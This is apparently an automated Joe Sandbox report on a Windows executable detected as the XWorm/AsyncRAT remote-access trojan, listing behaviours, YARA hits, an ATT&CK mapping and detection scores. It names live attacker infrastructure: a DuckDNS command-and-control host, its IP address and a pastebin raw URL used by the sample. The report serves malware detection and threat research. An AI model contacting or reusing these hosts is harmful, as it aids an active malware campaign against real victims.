Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, type: SAMPLE
Source: Yara match	File source: 0.0.17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4978889092.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe PID: 6636, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, type: SAMPLE
Source: Yara match	File source: 0.0.17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4978889092.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe PID: 6636, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	11 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	11 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	11 Obfuscated Files or Information	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	3 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	213 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	84%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	100%	Avira	HEUR/AGEN.1305769
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
154.216.17.204	0%	Avira URL Cloud	safe
http://crl.microsoF0	0%	Avira URL Cloud	safe
saviloe24.duckdns.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
saviloe24.duckdns.org	154.216.17.204	true	true		unknown
pastebin.com	104.20.3.235	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
154.216.17.204	true	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/Adv9gBHa	false		high
saviloe24.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.3112411135.00000264656BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.000002645708C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2974830024.0000022AE235F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA6B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA570000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.00000220317D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoF0	powershell.exe, 0000000F.00000002.2855044947.000002BDC2930000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/adv9gbha	powershell.exe, 00000009.00000002.3001928610.0000022AEA750000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.2753096959.0000022021853000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.2753096959.0000022021853000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.2879216464.0000026455F3B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD3440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2761118915.000002BDAB97F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022022A9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.3112411135.00000264656BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.000002645708C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2974830024.0000022AE235F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA6B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA570000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.00000220317D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000004.00000002.3162525727.000002350025A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3035371457.0000025E9C2BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.3162525727.000002350027F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3035371457.0000025E9C2D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.0000026455651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD22F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2761118915.000002BDAA501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022021621000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, 00000000.00000002.4978889092.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3162525727.00000235002AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3035371457.0000025E9C271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.0000026455651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD22F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2761118915.000002BDAA501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022021621000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pastebin.com	powershell.exe, 00000008.00000002.2879216464.0000026456C82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD3921000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com	powershell.exe, 00000008.00000002.2879216464.000002645693B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.0000026455877000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD2517000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD3440000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.2753096959.0000022021853000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States		13335	CLOUDFLARENETUS	false
154.216.17.204	saviloe24.duckdns.org	Seychelles		135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561343
Start date and time:	2024-11-23 06:52:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@27/17@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 87 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.42, 172.217.19.234, 172.217.19.202, 172.217.17.42, 142.250.181.74, 172.217.17.74, 142.250.181.138, 142.250.181.106, 142.250.181.42, 216.58.208.234
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, firebasestorage.googleapis.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, PID 6636 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6236 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6320 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6960 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6984 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7024 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Simulations

Behavior and APIs

Time	Type	Description
00:53:49	API Interceptor	13406293x Sleep call for process: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe modified
00:53:59	API Interceptor	190x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
154.216.17.204	1732341066786265aade6e9541774ff20509504237780da7874a65dc23bf44c6634c553abe427.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	17323410671691fb610332a2a23e84df9d573b6d7d338d6835a49e8e0241717de8180586cb855.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	17323410673807b67d8bb6f66f1d676167634fbe15d4743d1d486ea52ce68855c1615ccc44621.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	1732341065aa3050236bf0a757080986a42d53699fd38d78c31f65f12b4934c9236ce70a12688.dat-decoded.exe	Get hash	malicious	XenoRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.4.235
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.19.24
	bootstraper.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	DHzscd9uqT.exe	Get hash	malicious	STRRAT	Browse	104.20.3.235
	ahmbf.ps1	Get hash	malicious	Unknown	Browse	172.67.19.24
	file.exe	Get hash	malicious	JasonRAT	Browse	104.20.3.235
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse	104.20.3.235
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	172.67.19.24
	Setup.exe	Get hash	malicious	LummaC	Browse	104.20.4.235
	n7ZKbApaa3.dll	Get hash	malicious	LummaC, Xmrig	Browse	172.67.19.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	1732341066786265aade6e9541774ff20509504237780da7874a65dc23bf44c6634c553abe427.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.17.204
	17323410671691fb610332a2a23e84df9d573b6d7d338d6835a49e8e0241717de8180586cb855.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.17.204
	17323410673807b67d8bb6f66f1d676167634fbe15d4743d1d486ea52ce68855c1615ccc44621.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.17.204
	1732341065aa3050236bf0a757080986a42d53699fd38d78c31f65f12b4934c9236ce70a12688.dat-decoded.exe	Get hash	malicious	XenoRAT	Browse	154.216.17.204
	test1.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	154.216.17.193
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.139
	018292540-LetterReguranPPI-20230814215304.PDF.exe	Get hash	malicious	Remcos	Browse	154.216.20.185
	800399031-18.11.2024.pdf.exe	Get hash	malicious	Remcos	Browse	154.216.20.185
	vkjqpc.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Solara.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	http://ppc-overwatch.com	Get hash	malicious	Unknown	Browse	104.17.248.203
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.3.235
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.20.3.235
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.3.235
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.20.3.235
	es.hta	Get hash	malicious	Unknown	Browse	104.20.3.235
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	104.20.3.235
	PDQConnectAgent-4.3.4.msi	Get hash	malicious	Unknown	Browse	104.20.3.235
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.3.235
	Setup.exe	Get hash	malicious	LummaC	Browse	104.20.3.235
	locker.exe	Get hash	malicious	AnonWorld	Browse	104.20.3.235

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nllluln52llp:NllUol
MD5:	DD1511ADD69A2BBFD772EE49C6828FBD
SHA1:	D446C5D5B1209CCE7FA673473F913DB360F5931A
SHA-256:	C687FDA1A7A70346FE15F2420682B39C0185696575E46E9785C150FC06D3A629
SHA-512:	46A7C2240420741311A83BE91CC32B224ABA2100DA18302F8347D5CA4DAB58B7B5CE81591D0BBCCB63C38004D49249850E35A7F8F72232072F0126EB9891FEE4
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1knd0nyk.ir3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ihy1sfk.lrd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52d2ecu1.3fi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

